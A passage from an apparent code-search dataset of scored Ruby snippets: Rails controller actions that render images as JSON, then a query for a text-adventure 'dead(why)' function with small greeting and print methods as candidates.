"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.7270525",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e38a7c47f0c6edb88c19e128a5491fda",
"score": "0.725808",
"text": "def show\n\t\t@type = Type.find(params[:type_id])\n\t\t@image = @type.images.find(params[:id])\n\t\trender json: @image\n\tend",
"title": ""
},
{
"docid": "9dfa2b7a742106323ba2ee5e5497397c",
"score": "0.7250322",
"text": "def get_images\n @command = :get_images\n # set a flag indicating whether or not the user wants to see all images,\n # including the hidden ones\n show_hidden = (@prev_args.peek(0) == '-i' || @prev_args.peek(0) == '--hidden')\n # get the images from the RESTful API (as an array of objects)\n uri_str = ( show_hidden ? \"#{@uri_string}?hidden=true\" : @uri_string )\n uri = URI.parse uri_str\n result = hnl_http_get(uri)\n unless result.blank?\n # convert it to a sorted array of objects (from an array of hashes)\n sort_fieldname = 'filename'\n result = hash_array_to_obj_array(expand_response_with_uris(result), sort_fieldname)\n end\n # and print the result\n print_object_array(result, 'Images:', :style => :table)\n end",
"title": ""
},
{
"docid": "7af1be0f655613202c36ae9afad15a3f",
"score": "0.72448194",
"text": "def index\n @images = Image.page(params[:page] || 1).per(params[:per] || 4)\n\n render json: @images\n end",
"title": ""
},
{
"docid": "9c0d9d01de0326d44bfd0297314d5bfc",
"score": "0.7231392",
"text": "def index\n @images = Image.last(4)\n\n @images = @images.map {|image| image.image_data}\n render json: { images: @images }, status: :created, location: @images.last\n end",
"title": ""
},
{
"docid": "62c41299f3dd7071176edde163ba7818",
"score": "0.7218418",
"text": "def list_floor_plans \n get(\"/files.json/floorplan/images\")\nend",
"title": ""
},
{
"docid": "6eb0e6e1e00f41137895c45a479fc64f",
"score": "0.7217683",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @image }\n end\n end",
"title": ""
},
{
"docid": "6eb0e6e1e00f41137895c45a479fc64f",
"score": "0.7217683",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @image }\n end\n end",
"title": ""
},
{
"docid": "011720514799372ae1ce4593e05193b1",
"score": "0.72128963",
"text": "def index\n @imagens = Imagem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @imagens }\n end\n end",
"title": ""
},
{
"docid": "a6ac3ecf3e4d0634b45848a6aaa97b83",
"score": "0.7153733",
"text": "def get_images\n @images = Exam.find(params[:id]).exam_images.order(created_at: :asc)\n\n render json: @images.to_json(), status: :ok\n end",
"title": ""
},
{
"docid": "910023266361fc45f0bdc9e81cff9aed",
"score": "0.71530443",
"text": "def index\n respond_to do |format|\n format.html do\n @images = Image.all.order('created_at DESC')\n @image = Image.new\n end\n\n format.json do\n respond_to_record_selector(Integral::Image)\n end\n end\n end",
"title": ""
},
{
"docid": "b857aae65f2ae53ecf711d4270352c71",
"score": "0.7119228",
"text": "def get_images\n puts \"Getting image list\"\n images = @conn.list_images\n\n for image in images.body['images']\n puts image\n end\n\n return images.body['images'][0]\n end",
"title": ""
},
{
"docid": "49bd18c63c9471c464923d4f9968ec2b",
"score": "0.7113248",
"text": "def index\n @gallery = Gallery.find(params[:gallery_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "f6c16cc95102deec293786e1eb34f342",
"score": "0.709418",
"text": "def show\n puts 'show'\n puts params\n\n @image = Image.find_by_hashed_url(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "b37073ec353873baac8a6ff847d4ecfa",
"score": "0.70875376",
"text": "def show\n @images = @album.images\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [ @album, @images ] }\n end\n end",
"title": ""
},
{
"docid": "0ae2b9cec691ef5de87ea1e3b0fd634c",
"score": "0.7071668",
"text": "def index\n @images = Image.order('created_at DESC').page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "64e13252dac67777e86fbaa7d64d39e6",
"score": "0.7065473",
"text": "def index\n @images = Image.all\n @image = Image.new\n respond_to do |format|\n format.html { render :index, status: :ok }\n format.json { render json: @images, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "fbebfd81b71feccbeb9a060e007ad9ba",
"score": "0.70584494",
"text": "def show\n @image = set_image\n render json: @image\n end",
"title": ""
},
{
"docid": "e396083d97bff5e2c56b81b5f3ef54a1",
"score": "0.7048074",
"text": "def show\n render json: @image\n end",
"title": ""
},
{
"docid": "69f1039ecde2d111adfce9a186300607",
"score": "0.70307547",
"text": "def show\n images = Image.get_all_images # Obtain all the images from the model\n\n if images.length > 0 # If exist at least one image in DB\n response = { content: images, message: \"Images has been obtained successfully\" } # Return all the images\n\n render json: response, status: 200\n else # If not exist data\n response = { content: nil, message: \"No images\" }\n\n render json: response, status: 204 # Return 'no content' and nil\n end\n end",
"title": ""
},
{
"docid": "f2af07e632385b34fe7c18ff163eff00",
"score": "0.7025268",
"text": "def show\n render json: @img_url\n end",
"title": ""
},
{
"docid": "aa7b8e4ee2a74264a3d910aed9c449df",
"score": "0.70163494",
"text": "def show\n @title = t('view.images.show_title')\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "4a4206313ee25af435627a1ab297df9e",
"score": "0.6956229",
"text": "def get\n img_id = request.headers['imageid']\n user_id = request.headers[Constants::HEADER_ID]\n if img_id != nil\n images = Image.where(author_id: @public_id.to_s, image_id: img_id.to_s)\n elsif user_id != nil\n images = Image.where(author_id: user_id, status: Image::STATUS_SHARED).order(\"timestamp DESC\")\n else\n images = Image.where(author_id: @public_id.to_s).order(\"timestamp DESC\").order(\"timestamp DESC\")\n end\n user_images = []\n images.each do |image|\n user_images << image.as_jsonn\n end\n\n msg = { :result => \"OK\", :data => user_images }\n respond_to do |format|\n format.json { render :json => msg }\n end\nend",
"title": ""
},
{
"docid": "211fb45111919c88fc4f874595137ca9",
"score": "0.6935119",
"text": "def show\n respond_to do |format|\n format.html { render :show, status: :ok }\n format.json { render json: @image, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "ab8528d008dfebe1baa41405fa49a4dc",
"score": "0.6924434",
"text": "def index\n # Handle authorization based on a pre-built object\n authorize!(:index, @classroom.images.build)\n\n respond_to do |format|\n # format.html\n format.json {\n render :json => @classroom.images.reload.collect { |img| {\n :folder => img.assetable.title,\n :image => img.url(:large),\n :thumb => img.url(:small),\n :title => img.description\n } }\n }\n end\n end",
"title": ""
},
{
"docid": "0e93926f9b0eb527e78e9e08d625ee04",
"score": "0.6921395",
"text": "def front_page_images\n comics = Comic.order(:id => :desc).limit(80)\n image_paths = comics.map { |comic| \"#{comic['image_url']}/portrait_xlarge.jpg\" }\n respond_to do |format|\n format.json { render :json => image_paths }\n end\n end",
"title": ""
},
{
"docid": "725639191d7c582203e29ed65d8e77dd",
"score": "0.6910186",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "2cecf395b01223eb70fe7ff6d27bbc28",
"score": "0.69090116",
"text": "def show\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "b7e3c05e34b628b5847574f7a51c1003",
"score": "0.69007164",
"text": "def show\n @game = Game.find(params[:id])\n render json: @game.as_json(:methods => [:image_url])\n end",
"title": ""
},
{
"docid": "8784bf528fee45cbb10f00fbc7d9721a",
"score": "0.6900184",
"text": "def index\n @title = t('view.images.index_title')\n @images = @images.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "0ee712edadaf2988d3d74374fd99eef2",
"score": "0.68928987",
"text": "def index\n @img_urls = ImgUrl.all\n\n render json: @img_urls\n end",
"title": ""
},
{
"docid": "fbd41949d1b3ca7a34b3f8122f53c7b2",
"score": "0.68925244",
"text": "def index\n @pic_images = []\n @detail_pictures = DetailPicture.all\n @detail_pictures.map { |picture| @pic_images << picture.image.url }\n respond_with @detail_pictures do |format|\n format.json {render :json => @pic_images, :layout => false }\n end\n end",
"title": ""
},
{
"docid": "f0bc8e3b5ccbba71f3430444bdada784",
"score": "0.68686664",
"text": "def show\n @item = Item.find(params[:id])\n @images = @item.images.find(:all)\n if (params.has_key?(:img_id))\n \t@current = Image.find(params[:img_id])\n elsif @images != []\n \t@current = @images[0]\n else\n \t@current = nil\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"title": ""
},
{
"docid": "8ff3fe5c943fe509dcb15bf2f5b67278",
"score": "0.6861521",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @image }\n end\n end",
"title": ""
},
{
"docid": "07c85a64c4e683c43f02d3ec6e45b599",
"score": "0.68555707",
"text": "def index\n @images = params[:ids].present? ? Image.where(id: params[:ids].split(',')) : Image.order(\"time_stamp DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "8e03544ff02d8f3a0d284484ed6eca0f",
"score": "0.68506444",
"text": "def show\n @photo = Photo.find(params[:id])\n\n render json: @photo\n end",
"title": ""
},
{
"docid": "134430b84adb94ad7e665d08891973ff",
"score": "0.6833371",
"text": "def show\n @artist = Artist.find_by_id(params[:id])\n render json: @artist.as_json(methods: :image_url)\n\n end",
"title": ""
},
{
"docid": "eaf17d8753a562db16fac1fba7fb2d67",
"score": "0.683081",
"text": "def index\n @image_files = ImageFile.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @image_files }\n end\n end",
"title": ""
},
{
"docid": "1c59c5ccf1d4b0cd83ec4589773cbf79",
"score": "0.68232965",
"text": "def index\n @images = Image.where(:for_slider => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "20d5399834ba6b864023af42221526a0",
"score": "0.6814395",
"text": "def show\n\tif logged?\n\t\t@image = Image.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t format.html # show.html.erb\n\t\t format.json { render :json => @image }\n\t\tend\n\telse\n\t\tunloggedRedirect\n\tend\n end",
"title": ""
},
{
"docid": "8aed2c4a024f7b1aae918cb251057b92",
"score": "0.6805184",
"text": "def index\n value = []\n Image.all.each do |image|\n value << {uuid: image.hash}\n end\n render json: value\n end",
"title": ""
},
{
"docid": "75fcc4dd3630cb4fcd93472682ef03bc",
"score": "0.67906713",
"text": "def index\n \t@issue = Issue.find(params[:issue_id])\n \t@article = Article.find(params[:article_id])\n @images = @article.images.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "085e26d82f6976215808049a4340d7ba",
"score": "0.6784047",
"text": "def show\n @client_image = ClientImage.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_image }\n end\n end",
"title": ""
},
{
"docid": "7a9b9a77fa4d02d90238d00bd6eff6d4",
"score": "0.6776805",
"text": "def get_album_images(hash)\n response = make_request(\"GET\", \"album/#{hash}/images\")\n return response\nend",
"title": ""
},
{
"docid": "34721b8028de41051827f815bac9d71c",
"score": "0.67760056",
"text": "def show\n @image_datum = ImageDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_datum }\n end\n end",
"title": ""
},
{
"docid": "efb0a97de6e480db1949b97586792356",
"score": "0.6773537",
"text": "def show\n @imagem = Imagem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @imagem }\n end\n end",
"title": ""
},
{
"docid": "dd932e8371f5758d385c47944fb9437a",
"score": "0.6763907",
"text": "def fresh\n response = @client.get('photos?rpp=100&feature=fresh')\n @pictures = JSON.parse(response.body)['photos']\n render :index\n end",
"title": ""
},
{
"docid": "512d95f865e39b26678500e4af0dfdd0",
"score": "0.6763246",
"text": "def show\n @gallery_image = GalleryImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery_image }\n end\n end",
"title": ""
},
{
"docid": "391f1cd5a31a2039a2ab6ce0c048ac7e",
"score": "0.67440814",
"text": "def show\n @image_file = ImageFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_file }\n end\n end",
"title": ""
},
{
"docid": "391f1cd5a31a2039a2ab6ce0c048ac7e",
"score": "0.67440814",
"text": "def show\n @image_file = ImageFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_file }\n end\n end",
"title": ""
},
{
"docid": "1802c1a0b909fca5b191c7d0b011810c",
"score": "0.6730639",
"text": "def index\n @photos = Photo.find_all_by_status(1)\n\n respond_to do |format|\n format.html # index.haml\n format.xml { render :xml => @photos }\n format.png\n end\n end",
"title": ""
},
{
"docid": "d404275d8cfc32c3d67b93474a7dd9b0",
"score": "0.6727764",
"text": "def show\n @image = Image.find(params[:id])\n @cases = Case.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "c336066a076658c5e397bc74fb41ccbc",
"score": "0.6725474",
"text": "def images\n @images = ::Queries::Image::Filter.new(\n collection_object_id: [ params.require(:id)],\n collection_object_scope: [:all]\n )\n\n respond_to do |format|\n format.html { @images = @images.all }\n format.json do # rendered as Depictions for now\n @depictions = @iamges.derived_depictions\n render '/depictions/index' and return\n end\n end\n end",
"title": ""
},
{
"docid": "fb9a160a307e85304deeea04b6e99c64",
"score": "0.67184937",
"text": "def get_images\n @command = :get_images\n raise ProjectRazor::Error::Slice::NotImplemented, \"accessible via cli only\" if @web_command\n print_object_array(get_object(\"images\", :images), \"Images\", :success_type => :generic, :style => :item)\n end",
"title": ""
},
{
"docid": "fb9a160a307e85304deeea04b6e99c64",
"score": "0.67184937",
"text": "def get_images\n @command = :get_images\n raise ProjectRazor::Error::Slice::NotImplemented, \"accessible via cli only\" if @web_command\n print_object_array(get_object(\"images\", :images), \"Images\", :success_type => :generic, :style => :item)\n end",
"title": ""
},
{
"docid": "e23a2bf3e5403a42e4e3725a579ad3b5",
"score": "0.67156595",
"text": "def images\n @images = @event.uploads.where(:upload_content_type => [\"image/png\", \"image/gif\", \"image/jpe\", \"image/jpeg\"])\n\n respond_to do |format|\n format.json { render json: @images.map{|image| image.to_redactor_img } }\n end\n\n end",
"title": ""
},
{
"docid": "5fced192c8cb20865dfd68b8b423de6c",
"score": "0.6715386",
"text": "def index\n render json: Pic.all\n end",
"title": ""
},
{
"docid": "ff16c9857fe83e600d81404040360623",
"score": "0.6712842",
"text": "def show\n respond_with(params[:id]) do |format|\n format.any {\n send_a_file(\"/images/#{params[:id]}.jpg\")\n }\n end\n end",
"title": ""
},
{
"docid": "384887d428fd15287325cad447d33171",
"score": "0.6708382",
"text": "def index\n @tl_images = TlImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tl_images }\n end\n end",
"title": ""
},
{
"docid": "6ae970456f0561628b443df6e12d6b1a",
"score": "0.6702741",
"text": "def index\n @images = Image.find_images\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @images }\n end\n end",
"title": ""
},
{
"docid": "5a0fe5e441a5f8facc3be20bd538cddf",
"score": "0.6702047",
"text": "def show_by_id\n image = Image.get_image_by_id(params[:id]) # Obtain the image corresponding to the id\n\n if image != nil # If exist the image in DB\n response = { content: image, message: \"Image has been obtained successfully\" } # Return the corresponding image\n\n render json: response, status: 200\n else # If not exist data\n response = { error: \"Image not found\" }\n\n render json: response, status: 404 # Return 'not found'\n end\n end",
"title": ""
},
{
"docid": "f9c0b766ce50ce65ef783e0dbaf83666",
"score": "0.66936016",
"text": "def show\n @image = current_user.images.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @image, :callback => params[:callback] }\n end\n end",
"title": ""
},
{
"docid": "69ba9fdf69cfbe1b9623a8a15bb44ea8",
"score": "0.66917336",
"text": "def images\n @heading = \"Popular Images\"\n @stories = Story.find_all_by_media(\"image\")\n\n respond_to do |format|\n format.html { render :action => \"index\" }\n format.xml { render :xml => @stories }\n end\n end",
"title": ""
},
{
"docid": "c25128a7ac09340d7e91f029565d13fc",
"score": "0.66897607",
"text": "def index\n @pics = Pic.order(\"created_at desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pics }\n end\n end",
"title": ""
},
{
"docid": "dbd240f5d5c44f2157fbc66c4e63f5ea",
"score": "0.6689254",
"text": "def image\n images.first\n end",
"title": ""
},
{
"docid": "b04b5920e90654f71d32095cd6d34224",
"score": "0.6688667",
"text": "def image(image); Api::get_image(image, self); end",
"title": ""
},
{
"docid": "b09f7936e8c0edb06807ece2216b6e27",
"score": "0.6681553",
"text": "def images(options = {})\n get(FinerWorks::Image, \"/Images\", options)\n end",
"title": ""
},
{
"docid": "807d536786c201c6c9b1e71800c47fe8",
"score": "0.66797423",
"text": "def index\n @image_data = ImageDatum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @image_data }\n end\n end",
"title": ""
},
{
"docid": "5ea90a5038a3b87934aba8391eb188c1",
"score": "0.66654634",
"text": "def show\n @pic = Pic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic }\n end\n end",
"title": ""
},
{
"docid": "5446fe298f4e02d4a65cb77226cf7e38",
"score": "0.6658116",
"text": "def index\n @product_images = ProductImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_images }\n end\n end",
"title": ""
},
{
"docid": "87a52ec77713bade1eb2c0aa296fb8ea",
"score": "0.6655526",
"text": "def index\n @images = Image.all\n render :images\n end",
"title": ""
},
{
"docid": "1095d9ea5874b5e9d2f1920e4a597ee6",
"score": "0.6651698",
"text": "def get_thumb\n @image = Exam.find(params[:id]).exam_images.first\n\n render json: @image.to_json(only: [:image_uncompressed, :exam_id]), status: :ok\n end",
"title": ""
},
{
"docid": "780a9c2186e1c140d98dab4d2ca5ab5b",
"score": "0.6644684",
"text": "def pictures\n render json: @collection.pictures\n end",
"title": ""
},
{
"docid": "2cd178c156a596b37adff5f72b71923e",
"score": "0.66415673",
"text": "def index\n @pictures = Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"title": ""
},
{
"docid": "b439257a5422f4ca09dd436791252c68",
"score": "0.66377777",
"text": "def all\n render :json => Photo.all.map{|p| p.pic.url(:thumb_r)}\n end",
"title": ""
},
{
"docid": "0783a9ea24e6af3235eaf3feb392dc0c",
"score": "0.6637605",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # error.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "f523eb6d6cedcfda674610f66d3d52f2",
"score": "0.66324997",
"text": "def show\n @title = t('view.images.show_title')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e916ad332bba4311859731e60f27140a",
"score": "0.66267115",
"text": "def show\n @rotating_image = RotatingImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rotating_image }\n end\n end",
"title": ""
}
] |
2c09ef6a29c599fcc48ee32a12a13e24 | New function dead with 1 argument "why". Prints the "why" and the string. | [
{
"docid": "59283a561a0152ecbc9d958a9ac53bd9",
"score": "0.6282188",
"text": "def dead(why)\n puts why, \"Good job!\"\n#Exits the function with zero status.\n exit(0)\nend",
"title": ""
}
] | [
{
"docid": "d53527060f96ac2343b13c7859ed7046",
"score": "0.6643011",
"text": "def dead(why)\n puts why, \"Good job! Bye bye!\"\n exit(0)\nend",
"title": ""
},
{
"docid": "501121c06b255044815dc3b50427ebd0",
"score": "0.63806814",
"text": "def dead(why)\n puts why, \"Good job!\"\n exit (0)\nend",
"title": ""
},
{
"docid": "2afa7c042148d2144c7d1a2384be87bb",
"score": "0.62568766",
"text": "def dead(why)\n\tputs \"#{why} Good job!\"\n\tProcess.exit(0)\nend",
"title": ""
},
{
"docid": "7566757fb90f12d5c9a3541eca1d740e",
"score": "0.6217853",
"text": "def dead(why)\n # prints value of arg why and string\n puts why, \"Good job!\"\n # returns to byte 0 of game\n exit(0)\n# ends the function\nend",
"title": ""
},
{
"docid": "7c6b15ad58717a98e17dfe1ff9ac896f",
"score": "0.61133355",
"text": "def hello(who)\n puts \"Hello, #{who}\"\nend",
"title": ""
},
{
"docid": "5acf921d3441cc04b66b87e0bb9bde55",
"score": "0.5988358",
"text": "def explain msg\n if false\n puts msg\n end\n end",
"title": ""
},
{
"docid": "b015dc3e5aadd110b9574dd4adca0698",
"score": "0.59375995",
"text": "def dead(why)\n puts \"#{why} Good job!\"\n Process.exit(0)\nend",
"title": ""
},
{
"docid": "0592873d01cb3338ea9a5b8bb9532580",
"score": "0.5894713",
"text": "def dead(why)\n puts \"#{why} Good job!\"\n Process.exit(0)\nend",
"title": ""
},
{
"docid": "dcc5624c93633a1590f4c2ed39ea7693",
"score": "0.58088887",
"text": "def say_hello thing_to_say\n puts \"Hello \"+thing_to_say\nend",
"title": ""
},
{
"docid": "75a9a471b188adbe78ac01f1d03a814c",
"score": "0.5797182",
"text": "def hello(name, age)\n\tputs \"Welcome #{name}, #{age} is definitely not too old to learn how to code\" \nend",
"title": ""
},
{
"docid": "428ce82731923689720755eba40cf841",
"score": "0.57923275",
"text": "def hello(name)\n p \"Hello, #{name}\"\nend",
"title": ""
},
{
"docid": "7c2f37ff54ce5384c701857f292b3be1",
"score": "0.5790437",
"text": "def reason(*) end",
"title": ""
},
{
"docid": "260540c140ef09b293078a96df106313",
"score": "0.5710441",
"text": "def love(mom, dad)\n puts \"#{mom} #{dad}, The End.\"\nend",
"title": ""
},
{
"docid": "167fac3fac46f1e5b511d80810ab3c17",
"score": "0.5706765",
"text": "def say_hello(thing_to_say)\n puts thing_to_say\nend",
"title": ""
},
{
"docid": "64821373947f0dbfce3191fcc11695d1",
"score": "0.5706092",
"text": "def almost_die\n puts 'Eva almost die!'\n end",
"title": ""
},
{
"docid": "a013cde726898b84ad1c4b7f603abfa3",
"score": "0.569332",
"text": "def hello(anything)\n puts anything\nend",
"title": ""
},
{
"docid": "88cc504c919e40e1dd52e8e27dbd815d",
"score": "0.56843436",
"text": "def say_hello(thing_to_say)\n puts thing_to_say \nend",
"title": ""
},
{
"docid": "b4ce13b750785cbff302366b6206555d",
"score": "0.56786007",
"text": "def hello(name)\n #puts \"Hello #{name}!\"\nend",
"title": ""
},
{
"docid": "2289b2901ed39822b2b1f5181934dcbf",
"score": "0.5663291",
"text": "def firstMethod()\n p \"hey this is first method ok\"\n p \"here i show how can create method in ruby\"\n p \" know time end \"\nend",
"title": ""
},
{
"docid": "8fea68f6624211aa5f3c8ec277c8579f",
"score": "0.5659654",
"text": "def student_talks\n return \"Could you explain that?\"\n end",
"title": ""
},
{
"docid": "bb4fa3ab1a5f2f7b4497ebe32ddd1319",
"score": "0.56588376",
"text": "def hello1(nombre)\n puts 'Hola' + nombre\n puts 'correcto'\nend",
"title": ""
},
{
"docid": "ff02e3d52b442195bc0d8c6252f05d73",
"score": "0.56584466",
"text": "def goodbye(drink)\n puts \"Here is your #{drink}, see you next time\"\n end",
"title": ""
},
{
"docid": "f23ed0d9ffe17debccd22ed44b02a167",
"score": "0.5638693",
"text": "def fiction_details_one(arg)\n puts \"Fiction\"\n puts arg\n puts \"asdfasdfsd\"\n end",
"title": ""
},
{
"docid": "dd4988f0698ba186b01f43e40f6f23fd",
"score": "0.56334704",
"text": "def say_hello(arg)\n puts arg\nend",
"title": ""
},
{
"docid": "fd33918c460239a2769fd76d3b65d57f",
"score": "0.56331295",
"text": "def say_hello(arg)\n puts arg\nend",
"title": ""
},
{
"docid": "65d4d4730a7a34a04bb1cc3dff1ac502",
"score": "0.56266946",
"text": "def meow #teaching the cat how to meow\n puts \"meow!\" \n end",
"title": ""
},
{
"docid": "6920b0bcaaf9fe285042445cccdda668",
"score": "0.5604858",
"text": "def explain\n \n end",
"title": ""
},
{
"docid": "437c542da188cfdcec389e349b24a666",
"score": "0.5602565",
"text": "def say_hi()\n\t\"Hello\"\nend",
"title": ""
},
{
"docid": "f130a78ca4b8b9ccbac0306f7780b7fa",
"score": "0.55975187",
"text": "def say_hello(thing_to_say)\n puts thing_to_say\nend",
"title": ""
},
{
"docid": "f130a78ca4b8b9ccbac0306f7780b7fa",
"score": "0.55975187",
"text": "def say_hello(thing_to_say)\n puts thing_to_say\nend",
"title": ""
},
{
"docid": "2281fec0a2ead1c305124114a654d83c",
"score": "0.55865115",
"text": "def say_hello(thing_to_say)\n puts thing_to_say\nend",
"title": ""
},
{
"docid": "17089a06edfd73375ebf58bfca6d0f62",
"score": "0.5582256",
"text": "def introduction(target) # created a new method called introduction that works on a specified target\n puts \"Hi #{target}, I'm #{first_name}!\" # Gotta get the console to print it\n end",
"title": ""
},
{
"docid": "a960aac36897c0429a4a057ad0c84246",
"score": "0.55773985",
"text": "def say_hello(anything)\n #write code here\n puts anything\nend",
"title": ""
},
{
"docid": "9aab275de3cdfc3825c52263b5f1fb52",
"score": "0.557504",
"text": "def say_hello(anything)\n# write code here\n puts anything\nend",
"title": ""
},
{
"docid": "bcbb597c6b1d195b247805c9c9387009",
"score": "0.5573638",
"text": "def say_hello(anything)\n #write code here\n puts anything\nend",
"title": ""
},
{
"docid": "456fe6eef4aad7c6ec0dd938305cf0af",
"score": "0.55704916",
"text": "def say_hello (thing_to_say)\n puts thing_to_say\nend",
"title": ""
},
{
"docid": "eee9997030ded0e9210a9bd3b214b70e",
"score": "0.556794",
"text": "def say_hello(anything)\n# write code here\n puts anything\nend",
"title": ""
},
{
"docid": "9bcac3ea60f7fbcbebf953520f70fdeb",
"score": "0.55678314",
"text": "def print_none()\n p \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "1ba03f282b9c11217a3c3eb5af36f17a",
"score": "0.55671686",
"text": "def eat\n p \"Nom nom nom nom\"\nend",
"title": ""
},
{
"docid": "daae3949ad482da62b608416ca43123e",
"score": "0.5554059",
"text": "def say_hello(statement)\n 'We have important information! ' + statement.to_s\nend",
"title": ""
},
{
"docid": "8a3b8e76d9e50255c7b7b097777d571d",
"score": "0.5554045",
"text": "def woo; puts \"woooooo\"; end",
"title": ""
},
{
"docid": "36853579fd7f2f49094ce31471951e80",
"score": "0.5553242",
"text": "def introduce_myself \n # Best practice 2 spaces within method body \n puts \"I am handsome\"\n end",
"title": ""
},
{
"docid": "8845e623024e29054f20778e3655f897",
"score": "0.5552249",
"text": "def say (something)\n puts something\nend",
"title": ""
},
{
"docid": "fdc362c8da83050dcd0ff957d85b46f9",
"score": "0.55506104",
"text": "def one_thing(arg1)\n puts \"arg1:#{arg1}\"\nend",
"title": ""
},
{
"docid": "c17e3e51d2fb58cd6f21460b4e5c70ab",
"score": "0.5545439",
"text": "def die(reason)\n puts \"#{reason}, you did a good job though!\"\n exit(0)\nend",
"title": ""
},
{
"docid": "09288cddff748780fa34b00aaf9d6f39",
"score": "0.5535028",
"text": "def foo\n puts \"You called 'say_foo' which ran 'foo'\"\nend",
"title": ""
},
{
"docid": "4fc040b3c5a49fa675d94e62e05f3926",
"score": "0.5534964",
"text": "def greeting(name)\n print \"hello \" + name + \" what the fuck is your problem?\"\nend",
"title": ""
},
{
"docid": "d7be2e1df2a9627750da6ccbff8484bf",
"score": "0.5534598",
"text": "def say_hello name # starts with a definition\n puts \"hello #{name}, nice to meet you\"\nend",
"title": ""
},
{
"docid": "011251269d7aa58cf31686245a2c5e2c",
"score": "0.5524828",
"text": "def warned=(_arg0); end",
"title": ""
},
{
"docid": "101eaa5d23483904ebdf6503dd658310",
"score": "0.55220544",
"text": "def d()\n puts \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "1ecba36a4e2485f4247658c17a209f5b",
"score": "0.54957575",
"text": "def hello(name)\n puts \"Hello, #{name}!\"\nend",
"title": ""
},
{
"docid": "2108abd277e5905036f819eb57cb0f23",
"score": "0.54950625",
"text": "def saygoodbye(name=\"John\", surname=\"Doe\")\n puts (\"Good Bye \" + name + \" \" + surname)\nend",
"title": ""
},
{
"docid": "b9e6142ca88c4154bf387e1edcb73dfc",
"score": "0.5490492",
"text": "def say_something(something)\n puts \"#{something}, said Becca\"\nend",
"title": ""
},
{
